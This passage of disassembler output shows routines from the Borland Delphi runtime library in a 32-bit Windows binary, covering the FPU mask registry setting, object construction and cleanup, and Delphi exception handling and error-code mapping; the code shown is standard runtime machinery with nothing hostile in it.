		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	0		; lpType
		push	0		; lpReserved
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000340C


loc_200033FB:				; CODE XREF: sub_20003394+76j
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_20003405:				; DATA XREF: sub_20003394+2Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200033FB
; ---------------------------------------------------------------------------


loc_2000340C:				; CODE XREF: sub_20003394+29j
					; sub_20003394+70j
					; DATA XREF: ...
		mov	ax, ds:word_20014020
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+Data]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_20014020, ax
		mov	esp, ebp
		pop	ebp
		retn
sub_20003394	endp

; ---------------------------------------------------------------------------
		align 4
; char aSoftwareBorlan[]
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_20003394+18o
; char aFpumaskvalue[]
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_20003394+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003458	proc near		; CODE XREF: sub_200038A4+20p
					; CODE:20003B9Ap ...
		fninit
		wait
		fldcw	ds:word_20014020
		retn
sub_20003458	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003464	proc near		; CODE XREF: sub_200118C4+25p
		mov	eax, [eax]
		mov	edx, eax
		mov	eax, edx
		retn
sub_20003464	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000346C	proc near		; CODE XREF: CODE:2000A393p
					; sub_2000EB50+96p ...
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, [eax-2Ch]
		xor	ecx, ecx
		mov	cl, [esi]
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		retn
sub_2000346C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20003480	proc near		; CODE XREF: sub_200118C4+30p
		mov	eax, [eax-24h]
		test	eax, eax
		jz	short locret_20003489
		mov	eax, [eax]

locret_20003489:			; CODE XREF: sub_20003480+5j
		retn
sub_20003480	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000348C	proc near		; CODE XREF: sub_20005554p
					; DATA XREF: CODE:2000104Co ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_200034BC
		call	sub_20002668
		mov	edx, eax
		mov	eax, ebx
		call	sub_20003500
		pop	ebx
		retn
sub_2000348C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200034A8	proc near		; CODE XREF: sub_2000A670+6p
					; DATA XREF: CODE:20001050o ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20003558
		mov	eax, ebx
		call	sub_20002688
		pop	ebx
		retn
sub_200034A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200034BC	proc near		; CODE XREF: sub_2000348C+5p
		add	eax, 0FFFFFFD8h
		mov	eax, [eax]
		retn
sub_200034BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200034C4	proc near		; CODE XREF: sub_2000B9DC+16p
					; sub_2000B9DC+50p ...
		test	dl, dl
		jz	short loc_200034D0
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_200034D0:				; CODE XREF: sub_200034C4+2j
		test	dl, dl
		jz	short locret_200034E3
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch

locret_200034E3:			; CODE XREF: sub_200034C4+Ej
		retn
sub_200034C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_200034E4	proc near		; CODE XREF: sub_2000B8AC+38p
					; sub_2000BA50+19p ...
		call	sub_200037A4
		test	dl, dl
		jle	short locret_200034F2
		call	sub_2000378C

locret_200034F2:			; CODE XREF: sub_200034E4+7j
		retn
sub_200034E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200034F4	proc near		; CODE XREF: sub_200038A4+11Fj
					; sub_20003A30+30p ...
		test	eax, eax
		jz	short locret_200034FF
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_200034FF:			; CODE XREF: sub_200034F4+2j
		retn
sub_200034F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_20003500	proc near		; CODE XREF: sub_2000348C+13p
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	edi, edx
		stosd
		mov	ecx, [ebx-28h]
		xor	eax, eax
		push	ecx
		shr	ecx, 2
		dec	ecx
		rep stosd
		pop	ecx
		and	ecx, 3
		rep stosb
		mov	eax, edx
		mov	edx, esp


loc_2000351E:				; CODE XREF: sub_20003500+2Fj
		mov	ecx, [ebx-48h]
		test	ecx, ecx
		jz	short loc_20003526
		push	ecx


loc_20003526:				; CODE XREF: sub_20003500+23j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_20003531
		mov	ebx, [ebx]
		jmp	short loc_2000351E
; ---------------------------------------------------------------------------


loc_20003531:				; CODE XREF: sub_20003500+2Bj
		cmp	esp, edx
		jz	short loc_20003552


loc_20003535:				; CODE XREF: sub_20003500+50j
		pop	ebx
		mov	ecx, [ebx]
		add	ebx, 4


loc_2000353B:				; CODE XREF: sub_20003500+4Cj
		mov	esi, [ebx+10h]
		test	esi, esi
		jz	short loc_20003548
		mov	edi, [ebx+14h]
		mov	[edi+eax], esi


loc_20003548:				; CODE XREF: sub_20003500+40j
		add	ebx, 1Ch
		dec	ecx
		jnz	short loc_2000353B
		cmp	esp, edx
		jnz	short loc_20003535


loc_20003552:				; CODE XREF: sub_20003500+33j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20003500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003558	proc near		; CODE XREF: sub_200034A8+5p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, eax


loc_2000355E:				; CODE XREF: sub_20003558+1Bj
		mov	esi, [esi]
		mov	edx, [esi-40h]
		mov	esi, [esi-24h]
		test	edx, edx
		jz	short loc_20003571
		call	sub_200048F0
		mov	eax, ebx


loc_20003571:				; CODE XREF: sub_20003558+10j
		test	esi, esi
		jnz	short loc_2000355E
		pop	esi
		pop	ebx
		retn
sub_20003558	endp


; =============== S U B	R O U T	I N E =======================================



sub_20003578	proc near		; CODE XREF: sub_200035A8+59p
		xchg	edx, ecx
		cmp	ecx, 0FF000000h
		jnb	short loc_20003593
		cmp	ecx, 0FE000000h
		jb	short loc_20003591
		movsx	ecx, cx
		add	ecx, [eax]
		jmp	dword ptr [ecx]
; ---------------------------------------------------------------------------


loc_20003591:				; CODE XREF: sub_20003578+10j
		jmp	ecx
; ---------------------------------------------------------------------------


loc_20003593:				; CODE XREF: sub_20003578+8j
		and	ecx, 0FFFFFFh
		add	ecx, eax
		mov	eax, edx
		mov	edx, [ecx]
		jmp	sub_2000550C
sub_20003578	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200035A8	proc near		; CODE XREF: CODE:20005573p
					; sub_2000EF84+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	esi, ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000362C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		mov	[esi], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edi]
		call	sub_2000363C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_20003610
		mov	eax, [ebx+14h]
		test	eax, eax
		jz	short loc_200035F9
		add	edi, eax
		mov	[esi], edi
		cmp	dword ptr [esi], 0
		jz	short loc_20003610
		mov	eax, [esi]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+4]
		jmp	short loc_20003610
; ---------------------------------------------------------------------------


loc_200035F9:				; CODE XREF: sub_200035A8+3Cj
		lea	ecx, [ebp+var_8]
		mov	edx, [ebx+18h]
		mov	eax, edi
		call	sub_20003578
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_2000550C


loc_20003610:				; CODE XREF: sub_200035A8+35j
					; sub_200035A8+45j ...
		cmp	dword ptr [esi], 0
		setnz	bl
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20003633


loc_20003623:				; CODE XREF: sub_200035A8+89j
		lea	eax, [ebp+var_8]
		call	sub_200054F4
		retn
; ---------------------------------------------------------------------------


loc_2000362C:				; DATA XREF: sub_200035A8+18o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20003623
; ---------------------------------------------------------------------------


loc_20003633:				; CODE XREF: sub_200035A8+83j
					; DATA XREF: sub_200035A8+76o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_200035A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000363C	proc near		; CODE XREF: sub_200035A8+2Cp
		push	ebx
		push	esi
		mov	ebx, eax


loc_20003640:				; CODE XREF: sub_2000363C+3Dj
		mov	eax, [ebx-48h]
		test	eax, eax
		jz	short loc_20003670
		mov	ecx, [eax]
		add	eax, 4


loc_2000364C:				; CODE XREF: sub_2000363C+32j
		mov	esi, [edx]
		cmp	esi, [eax]
		jnz	short loc_2000366A
		mov	esi, [edx+4]
		cmp	esi, [eax+4]
		jnz	short loc_2000366A
		mov	esi, [edx+8]
		cmp	esi, [eax+8]
		jnz	short loc_2000366A
		mov	esi, [edx+0Ch]
		cmp	esi, [eax+0Ch]
		jz	short loc_2000367D


loc_2000366A:				; CODE XREF: sub_2000363C+14j
					; sub_2000363C+1Cj ...
		add	eax, 1Ch
		dec	ecx
		jnz	short loc_2000364C


loc_20003670:				; CODE XREF: sub_2000363C+9j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_2000367B
		mov	ebx, [ebx]
		jmp	short loc_20003640
; ---------------------------------------------------------------------------


loc_2000367B:				; CODE XREF: sub_2000363C+39j
		xor	eax, eax


loc_2000367D:				; CODE XREF: sub_2000363C+2Cj
		pop	esi
		pop	ebx
		retn
sub_2000363C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20003680	proc near		; CODE XREF: CODE:2000A33Cp
					; sub_2000AAC4+96p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_20003697
		mov	edx, esi
		mov	eax, [ebx]
		call	sub_200036EC
		test	al, al
		jnz	short loc_2000369C


loc_20003697:				; CODE XREF: sub_20003680+8j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_2000369C:				; CODE XREF: sub_20003680+15j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_20003680	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200036A4	proc near		; CODE XREF: sub_200036D4+4p
					; sub_20003714+13p
		push	edi
		xchg	eax, esi
		jmp	short loc_200036AA
; ---------------------------------------------------------------------------


loc_200036A8:				; CODE XREF: sub_200036A4+1Fj
		mov	esi, [esi]


loc_200036AA:				; CODE XREF: sub_200036A4+2j
		mov	edi, [esi-30h]
		test	edi, edi
		jz	short loc_200036BE
		movzx	ecx, word ptr [edi]
		push	ecx
		add	edi, 2
		repne scasw
		jz	short loc_200036C7
		pop	ecx


loc_200036BE:				; CODE XREF: sub_200036A4+Bj
		mov	esi, [esi-24h]
		test	esi, esi
		jnz	short loc_200036A8
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_200036C7:				; CODE XREF: sub_200036A4+17j
		pop	eax
		add	eax, eax
		sub	eax, ecx
		mov	esi, [edi+eax*2-4]
		pop	edi
		retn
sub_200036A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200036D4	proc near		; CODE XREF: sub_20010368+43p
					; sub_20010368+52p ...
		push	eax
		push	ecx
		mov	eax, [eax]
		call	sub_200036A4
		pop	ecx
		pop	eax
		jz	short loc_200036E3
		jmp	esi
; ---------------------------------------------------------------------------


loc_200036E3:				; CODE XREF: sub_200036D4+Bj
		pop	ecx
		jmp	sub_20002988
sub_200036D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200036EC	proc near		; CODE XREF: sub_20003680+Ep
		jmp	short loc_200036F0
; ---------------------------------------------------------------------------


loc_200036EE:				; CODE XREF: sub_200036EC+Dj
		mov	eax, [eax]


loc_200036F0:				; CODE XREF: sub_200036ECj
		cmp	eax, edx
		jz	short loc_200036FC
		mov	eax, [eax-24h]
		test	eax, eax
		jnz	short loc_200036EE
		retn
; ---------------------------------------------------------------------------


loc_200036FC:				; CODE XREF: sub_200036EC+6j
		mov	al, 1
		retn
sub_200036EC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20003700	proc near		; DATA XREF: CODE:20001038o
					; CODE:2000112Co ...
		mov	eax, 8000FFFFh
		retn
sub_20003700	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003714	proc near		; DATA XREF: CODE:20001044o
					; CODE:20001138o ...
		push	esi
		mov	si, [edx]
		or	si, si
		jz	short loc_20003734
		cmp	si, 0C000h
		jnb	short loc_20003734
		push	eax
		mov	eax, [eax]
		call	sub_200036A4
		pop	eax
		jz	short loc_20003734
		mov	ecx, esi
		pop	esi
		jmp	ecx
; ---------------------------------------------------------------------------


loc_20003734:				; CODE XREF: sub_20003714+7j
					; sub_20003714+Ej ...
		pop	esi
		mov	ecx, [eax]
		jmp	dword ptr [ecx-10h]
sub_20003714	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000373C	proc near		; CODE XREF: sub_200034C4+7p
					; sub_2000A4E4+Ap ...

arg_0		= byte ptr  4

		push	edx
		push	ecx
		push	ebx
		test	dl, dl
		jl	short loc_20003746
		call	dword ptr [eax-0Ch]


loc_20003746:				; CODE XREF: sub_2000373C+5j
		xor	edx, edx
		lea	ecx, [esp+0Ch+arg_0]
		mov	ebx, fs:[edx]
		mov	[ecx], ebx
		mov	[ecx+8], ebp
		mov	dword ptr [ecx+4], offset sub_20003765
		mov	[ecx+0Ch], eax
		mov	fs:[edx], ecx
		pop	ebx
		pop	ecx
		pop	edx
		retn
sub_2000373C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_20003765	proc near		; DATA XREF: sub_2000373C+18o
		jmp	sub_200038A4
sub_20003765	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ch]
		mov	eax, [eax+0Ch]
		test	eax, eax
		jz	short loc_20003783
		mov	ecx, [eax]
		mov	dl, 81h
		push	eax
		call	dword ptr [ecx-4]
		pop	eax
		call	sub_2000378C


loc_20003783:				; CODE XREF: CODE:20003773j
		call	sub_20003A30
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000378C	proc near		; CODE XREF: sub_200034E4+9p
					; CODE:2000377Ep ...
		mov	edx, [eax]
		call	dword ptr [edx-8]
		retn
sub_2000378C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003794	proc near		; CODE XREF: sub_200034C4+10p
					; sub_2000A4E4+25p ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx-1Ch]
		mov	eax, ebx
		pop	ebx
		retn
sub_20003794	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200037A4	proc near		; CODE XREF: sub_200034E4p
					; sub_2000B8AC+4p ...
		test	dl, dl
		jg	short loc_200037A9
		retn
; ---------------------------------------------------------------------------


loc_200037A9:				; CODE XREF: sub_200037A4+2j
		push	eax
		push	edx
		mov	edx, [eax]
		call	dword ptr [edx-18h]
		pop	edx
		pop	eax
		retn
sub_200037A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200037B4	proc near		; CODE XREF: sub_20003A30+35p
		cmp	ds:byte_20014024, 1
		jbe	short locret_200037CE
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:dword_20015014

locret_200037CE:			; CODE XREF: sub_200037B4+7j
		retn
sub_200037B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200037D0	proc near		; CODE XREF: sub_200038A4+4Dp
		cmp	ds:byte_20014024, 0
		jz	short locret_200037F0
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:dword_20015014
		add	esp, 8
		pop	eax

locret_200037F0:			; CODE XREF: sub_200037D0+7j
		retn
sub_200037D0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_2000380C


loc_200037F4:				; CODE XREF: sub_2000380C+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:dword_20015014
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_2000380C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000380C	proc near		; CODE XREF: sub_200038A4+FDp

; FUNCTION CHUNK AT 200037F4 SIZE 00000015 BYTES

		cmp	ds:byte_20014024, 1
		jbe	short locret_2000381C
		push	eax
		push	ebx
		jmp	loc_200037F4
; ---------------------------------------------------------------------------

locret_2000381C:			; CODE XREF: sub_2000380C+7j
		retn
sub_2000380C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20003820	proc near		; CODE XREF: sub_20003840+Cp
		test	ecx, ecx
		jz	short locret_2000383D
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_20003838
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_2000383D
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_2000383B
; ---------------------------------------------------------------------------


loc_20003838:				; CODE XREF: sub_20003820+Aj
		add	ecx, 5


loc_2000383B:				; CODE XREF: sub_20003820+16j
		add	ecx, eax

locret_2000383D:			; CODE XREF: sub_20003820+2j
					; sub_20003820+Fj
		retn
sub_20003820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20003840	proc near		; CODE XREF: sub_200019A8+204Dp
		cmp	ds:byte_20014024, 1
		jbe	short locret_20003866
		push	eax
		push	edx
		push	ecx
		call	sub_20003820
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:dword_20015014
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_20003866:			; CODE XREF: sub_20003840+7j
		retn
sub_20003840	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003868	proc near		; CODE XREF: sub_20003A84+28p
		cmp	ds:byte_20014024, 1
		jbe	short locret_20003883
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:dword_20015014
		pop	edx

locret_20003883:			; CODE XREF: sub_20003868+7j
		retn
sub_20003868	endp


; =============== S U B	R O U T	I N E =======================================



sub_20003884	proc near		; CODE XREF: CODE:loc_20003BE1p
		push	eax
		push	edx
		cmp	ds:byte_20014024, 1
		jbe	short loc_2000389F
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:dword_20015014


loc_2000389F:				; CODE XREF: sub_20003884+9j
		pop	edx
		pop	eax
		retn
sub_20003884	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_200038A4(struct _EXCEPTION_POINTERS ExceptionInfo, int, int, int, int, int, int, int,	int)

sub_200038A4	proc near		; CODE XREF: sub_20003765j
					; sub_20003C54:loc_20003C9Aj ...

ExceptionInfo	= _EXCEPTION_POINTERS ptr  4
arg_8		= dword	ptr  0Ch
arg_24		= dword	ptr  28h

		mov	eax, [esp+ExceptionInfo.ExceptionRecord]
		test	dword ptr [eax+4], 6
		jnz	loc_200039C8
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_20003931
		cld
		call	sub_20003458
		mov	edx, ds:dword_20015010
		test	edx, edx
		jz	loc_200039C8
		call	edx ; dword_20015010
		test	eax, eax
		jz	loc_200039C8
		mov	edx, [esp+arg_8]
		mov	ecx, [esp+ExceptionInfo.ExceptionRecord]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_20003928
		call	sub_200037D0
		cmp	ds:byte_20014028, 0
		jbe	short loc_20003928
		cmp	ds:byte_20014024, 0
		ja	short loc_20003928
		lea	ecx, [esp+ExceptionInfo]
		push	eax
		push	ecx		; ExceptionInfo
		call	UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_200039C8
		mov	edx, eax
		mov	eax, [esp+ExceptionInfo.ExceptionRecord]
		mov	ecx, [eax+0Ch]
		jmp	short loc_20003958
; ---------------------------------------------------------------------------


loc_20003928:				; CODE XREF: sub_200038A4+4Bj
					; sub_200038A4+59j ...
		mov	edx, eax
		mov	eax, [esp+ExceptionInfo.ExceptionRecord]
		mov	ecx, [eax+0Ch]


loc_20003931:				; CODE XREF: sub_200038A4+1Dj
		cmp	ds:byte_20014028, 1
		jbe	short loc_20003958
		cmp	ds:byte_20014024, 0
		ja	short loc_20003958
		push	eax
		lea	eax, [esp+4+ExceptionInfo]
		push	edx
		push	ecx
		push	eax		; ExceptionInfo
		call	UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_200039C8


loc_20003958:				; CODE XREF: sub_200038A4+82j
					; sub_200038A4+94j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+ExceptionInfo.ContextRecord]
		push	0
		push	eax
		push	offset loc_2000397C
		push	edx
		call	ds:dword_20015018


loc_2000397C:				; DATA XREF: sub_200038A4+CCo
		mov	edi, [esp+arg_24]
		call	sub_20005C00
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset loc_200039A8
		add	ebx, 5
		call	sub_2000380C
		jmp	ebx
; ---------------------------------------------------------------------------


loc_200039A8:				; DATA XREF: sub_200038A4+F3o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		call	sub_20005C00
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_200034F4
; ---------------------------------------------------------------------------


loc_200039C8:				; CODE XREF: sub_200038A4+Bj
					; sub_200038A4+2Dj ...
		mov	eax, 1
		retn
sub_200038A4	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_200019A8


loc_200039D0:				; CODE XREF: sub_200019A8:loc_20001A5Ej
					; sub_20001A6C:loc_20001B42j ...
		mov	eax, [esp+4]
		mov	edx, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jz	short loc_20003A00
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_20003A00
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_20003840
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_20003A00:				; CODE XREF: sub_200019A8+2037j
					; DATA XREF: sub_200019A8+203Co
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_200019A8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003A08	proc near		; CODE XREF: sub_20006F08+19p
					; sub_2000A71C+4Bj ...
		or	eax, eax
		jnz	short loc_20003A16
		mov	eax, 0D8h
		call	sub_20003F9C
; ---------------------------------------------------------------------------


loc_20003A16:				; CODE XREF: sub_20003A08+2j
		pop	edx
		push	esp
		push	ebp
		push	edi
		push	esi
		push	ebx
		push	eax
		push	edx
		push	esp
		push	7
		push	1
		push	0EEDFADEh
		push	edx
		jmp	ds:dword_20015014
sub_20003A08	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20003A30	proc near		; CODE XREF: CODE:loc_20003783p
					; sub_20003C54+50p ...

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_20003A7B
		call	sub_20005C00
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_20003A6A
		mov	eax, [edx+8]
		call	sub_200034F4
		call	sub_200037B4


loc_20003A6A:				; CODE XREF: sub_20003A30+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_20003A7B:				; DATA XREF: sub_20003A30+4o
		mov	eax, 1
		retn
sub_20003A30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003A84	proc near		; CODE XREF: sub_20003C54+55p
					; sub_20003CB4+55p ...

arg_2C		= dword	ptr  30h

		call	sub_20005C00
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_200034F4
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_20003868
		jmp	edx
sub_20003A84	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20003AB4	proc near		; CODE XREF: sub_20002094+F5p
					; sub_20002094+14Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_20003AB4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_20003ACC:				; CODE XREF: CODE:20003BCCj
					; CODE:20003BD8j
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_20003B07
		jz	short loc_20003B39
		cmp	eax, 0C000008Eh
		jg	short loc_20003AF9
		jz	short loc_20003B3D
		sub	eax, 0C0000005h
		jz	short loc_20003B49
		sub	eax, 87h
		jz	short loc_20003B31
		dec	eax
		jz	short loc_20003B45
		jmp	short loc_20003B59
; ---------------------------------------------------------------------------


loc_20003AF9:				; CODE XREF: CODE:20003AE2j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_20003B39
		jz	short loc_20003B35
		jmp	short loc_20003B59
; ---------------------------------------------------------------------------


loc_20003B07:				; CODE XREF: CODE:20003AD9j
		cmp	eax, 0C0000096h
		jg	short loc_20003B1F
		jz	short loc_20003B4D
		sub	eax, 0C0000093h
		jz	short loc_20003B45
		dec	eax
		jz	short loc_20003B2D
		dec	eax
		jz	short loc_20003B41
		jmp	short loc_20003B59
; ---------------------------------------------------------------------------


loc_20003B1F:				; CODE XREF: CODE:20003B0Cj
		sub	eax, 0C00000FDh
		jz	short loc_20003B55
		sub	eax, 3Dh
		jz	short loc_20003B51
		jmp	short loc_20003B59
; ---------------------------------------------------------------------------


loc_20003B2D:				; CODE XREF: CODE:20003B18j
		mov	al, 0C8h
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B31:				; CODE XREF: CODE:20003AF2j
		mov	al, 0C9h
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B35:				; CODE XREF: CODE:20003B03j
		mov	al, 0CDh
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B39:				; CODE XREF: CODE:20003ADBj
					; CODE:20003B01j
		mov	al, 0CFh
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B3D:				; CODE XREF: CODE:20003AE4j
		mov	al, 0C8h
		jmp	short loc_20003B5B
